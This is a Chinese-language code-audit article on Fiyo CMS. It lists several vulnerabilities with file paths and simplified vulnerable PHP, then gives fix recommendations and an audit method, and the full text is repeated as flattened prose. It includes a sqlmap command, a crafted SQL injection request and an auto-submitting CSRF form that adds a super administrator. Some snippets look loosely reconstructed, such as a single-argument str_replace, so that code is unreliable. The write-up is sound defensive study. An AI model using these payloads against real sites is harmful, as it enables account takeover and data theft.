代码审计之Fiyo CMS案例分享
字数 1950 2025-08-18 11:37:20

Fiyo CMS 安全漏洞分析与防护指南

1. 系统概述

Fiyo CMS 是一款小型商务电话服务及移动合作工具,最初由一名职业学校学生在 SMK 10 三宝垄学习期间开发,原名 Sirion(Site Administration 的缩写)。

2. 漏洞分析

2.1 任意文件删除漏洞

漏洞位置: dapur\apps\app_config\controller\backuper.php

漏洞描述:

  • 程序未对用户输入的 POST 参数进行过滤,直接与路径拼接
  • 结合 unlink 函数导致任意文件删除
  • 该问题存在于 CMS 多处位置

漏洞代码:

// 第10行代码存在路径穿越问题
$file = $_POST['file']; // 未过滤用户输入
unlink($file); // 直接删除文件

2.2 SQL 注入漏洞

注入点一

漏洞位置: dapur\apps\app_user\controller\status.php

漏洞描述:

  • update 方法中直接拼接 $where 变量
  • 可利用 SQLMap 进行验证

利用方法:

  1. 保存请求包为 headers.txt
  2. 修改参数 id=1id=1*
  3. 执行命令: sqlmap -r headers.txt --batch --dbs

注入点二

漏洞位置: system\function.php 中的 oneQuery 方法

漏洞代码:

function oneQuery($table,$field,$value,$output = null) {
    $value = str_replace($value); // 过滤不充分
    $query = FQuery($table,"$field='$value'",$output,null,null,$output,1);
    return $query;
}

利用示例:

POST /fiyocms/dapur/index.php?app=menu&view=edit&id=126'`test%23&theme=blank HTTP/1.1
...
blank=true

2.3 文件读取漏洞

漏洞位置: dapur\apps\app_theme\libs\check_file.php

漏洞描述:

  • 未过滤 $_GET['src']$_GET['name'] 变量
  • 结合 file_get_contents 函数导致文件读取
  • 限制:只能读取特定后缀文件(html、htm、xhtml、js、jsp、php、css、xml)

漏洞代码:

// 第5行代码未过滤输入
$file = $_GET['src'];
$content = file_get_contents($file);

2.4 任意文件上传漏洞

漏洞位置: 后台文件管理功能

漏洞描述:

  • 未对上传文件进行路径检查和后缀名过滤
  • 存在路径穿越问题

漏洞代码:

// 未过滤上传路径和文件名
$target_path = $_POST['path'];
move_uploaded_file($_FILES['file']['tmp_name'], $target_path);

2.5 CSRF 添加超级用户漏洞

漏洞位置: dapur\apps\app_user\sys_user.php

漏洞描述:

  • 添加用户功能未使用 token 防护
  • 可构造 CSRF 攻击页面添加超级管理员

POC 示例:

<html>
<body>
<form name="csrf" action="http://target/fiyocms/dapur/index.php?app=user&act=add" method="POST">
    <input type="hidden" name="user" value="attacker" />
    <input type="hidden" name="password" value="hacked" />
    <input type="hidden" name="level" value="1" /> <!-- 超级管理员权限 -->
    ...
</form>
<script>document.csrf.submit();</script>
</body>
</html>

2.6 任意文件名修改漏洞

漏洞位置: dapur\apps\app_config\sys_config.php

漏洞描述:

  • 修改后台路径功能未对输入进行过滤
  • 可将 config.php 改为 config.txt 直接查看配置

2.7 越权漏洞

漏洞位置: dapur\apps\app_user\sys_user.php

权限等级:

  1. Super Administrator (1)
  2. Administrator (2)
  3. Editor (3)
  4. Publisher (4)
  5. Member (5)

漏洞描述:

  • 执行用户账户操作前未验证用户权限
  • 低权限用户可执行高权限操作

3. 漏洞修复建议

3.1 文件操作类漏洞修复

  1. 对所有用户输入进行严格的路径过滤
  2. 使用 basename() 函数处理文件名
  3. 限制文件操作目录范围
  4. 实现白名单机制限制可操作文件类型

3.2 SQL 注入修复

  1. 使用预处理语句(PDO 或 mysqli)
  2. 对所有动态 SQL 参数进行类型检查和转义
  3. 实现统一的数据库查询接口

3.3 CSRF 防护

  1. 为所有敏感操作添加 CSRF token
  2. 检查 Referer 头
  3. 关键操作使用 POST 方法

3.4 权限控制改进

  1. 实现严格的权限检查中间件
  2. 每次操作前验证用户权限
  3. 实现基于角色的访问控制(RBAC)

3.5 文件上传安全

  1. 限制上传文件类型(白名单)
  2. 随机化存储文件名
  3. 将上传文件存储在非 web 可访问目录
  4. 检查文件内容而不仅依赖扩展名

4. 审计方法论

  1. 功能导向审计:根据后台提供的功能快速定位相关代码
  2. 输入点追踪:关注所有用户可控输入点(GET/POST/COOKIE等)
  3. 危险函数检查:重点关注以下函数使用情况:
    • 文件操作:unlink, file_get_contents, move_uploaded_file
    • 数据库操作:直接拼接的 SQL 查询
    • 系统命令:exec, system, passthru
  4. 权限验证检查:验证所有敏感操作前的权限检查逻辑

5. 总结

Fiyo CMS 存在的主要安全问题包括:

  1. 普遍缺乏输入过滤,特别是路径相关操作
  2. 多处 SQL 注入风险
  3. 权限控制不严格
  4. 缺乏基本的安全防护机制(CSRF token 等)

开发人员应建立安全意识,对所有用户输入保持怀疑态度,实现统一的安全过滤机制,并定期进行代码安全审计。

Fiyo CMS 安全漏洞分析与防护指南 1. 系统概述 Fiyo CMS 是一款小型商务电话服务及移动合作工具,最初由一名职业学校学生在 SMK 10 三宝垄学习期间开发,原名 Sirion(Site Administration 的缩写)。 2. 漏洞分析 2.1 任意文件删除漏洞 漏洞位置 : dapur\apps\app_config\controller\backuper.php 漏洞描述 : 程序未对用户输入的 POST 参数进行过滤,直接与路径拼接 结合 unlink 函数导致任意文件删除 该问题存在于 CMS 多处位置 漏洞代码 : 2.2 SQL 注入漏洞 注入点一 漏洞位置 : dapur\apps\app_user\controller\status.php 漏洞描述 : update 方法中直接拼接 $where 变量 可利用 SQLMap 进行验证 利用方法 : 保存请求包为 headers.txt 修改参数 id=1 为 id=1* 执行命令: sqlmap -r headers.txt --batch --dbs 注入点二 漏洞位置 : system\function.php 中的 oneQuery 方法 漏洞代码 : 利用示例 : 2.3 文件读取漏洞 漏洞位置 : dapur\apps\app_theme\libs\check_file.php 漏洞描述 : 未过滤 $_GET['src'] 和 $_GET['name'] 变量 结合 file_get_contents 函数导致文件读取 限制:只能读取特定后缀文件(html、htm、xhtml、js、jsp、php、css、xml) 漏洞代码 : 2.4 任意文件上传漏洞 漏洞位置 : 后台文件管理功能 漏洞描述 : 未对上传文件进行路径检查和后缀名过滤 存在路径穿越问题 漏洞代码 : 2.5 CSRF 添加超级用户漏洞 漏洞位置 : dapur\apps\app_user\sys_user.php 漏洞描述 : 添加用户功能未使用 token 防护 可构造 CSRF 攻击页面添加超级管理员 POC 示例 : 2.6 任意文件名修改漏洞 漏洞位置 : dapur\apps\app_config\sys_config.php 漏洞描述 : 修改后台路径功能未对输入进行过滤 可将 config.php 改为 config.txt 直接查看配置 2.7 越权漏洞 漏洞位置 : dapur\apps\app_user\sys_user.php 权限等级 : Super Administrator (1) Administrator (2) Editor (3) Publisher (4) Member (5) 漏洞描述 : 执行用户账户操作前未验证用户权限 低权限用户可执行高权限操作 3. 漏洞修复建议 3.1 文件操作类漏洞修复 对所有用户输入进行严格的路径过滤 使用 basename() 函数处理文件名 限制文件操作目录范围 实现白名单机制限制可操作文件类型 3.2 SQL 注入修复 使用预处理语句(PDO 或 mysqli) 对所有动态 SQL 参数进行类型检查和转义 实现统一的数据库查询接口 3.3 CSRF 防护 为所有敏感操作添加 CSRF token 检查 Referer 头 关键操作使用 POST 方法 3.4 权限控制改进 实现严格的权限检查中间件 每次操作前验证用户权限 实现基于角色的访问控制(RBAC) 3.5 文件上传安全 限制上传文件类型(白名单) 随机化存储文件名 将上传文件存储在非 web 可访问目录 检查文件内容而不仅依赖扩展名 4. 审计方法论 功能导向审计 :根据后台提供的功能快速定位相关代码 输入点追踪 :关注所有用户可控输入点(GET/POST/COOKIE等) 危险函数检查 :重点关注以下函数使用情况: 文件操作: unlink , file_get_contents , move_uploaded_file 数据库操作:直接拼接的 SQL 查询 系统命令: exec , system , passthru 权限验证检查 :验证所有敏感操作前的权限检查逻辑 5. 总结 Fiyo CMS 存在的主要安全问题包括: 普遍缺乏输入过滤,特别是路径相关操作 多处 SQL 注入风险 权限控制不严格 缺乏基本的安全防护机制(CSRF token 等) 开发人员应建立安全意识,对所有用户输入保持怀疑态度,实现统一的安全过滤机制,并定期进行代码安全审计。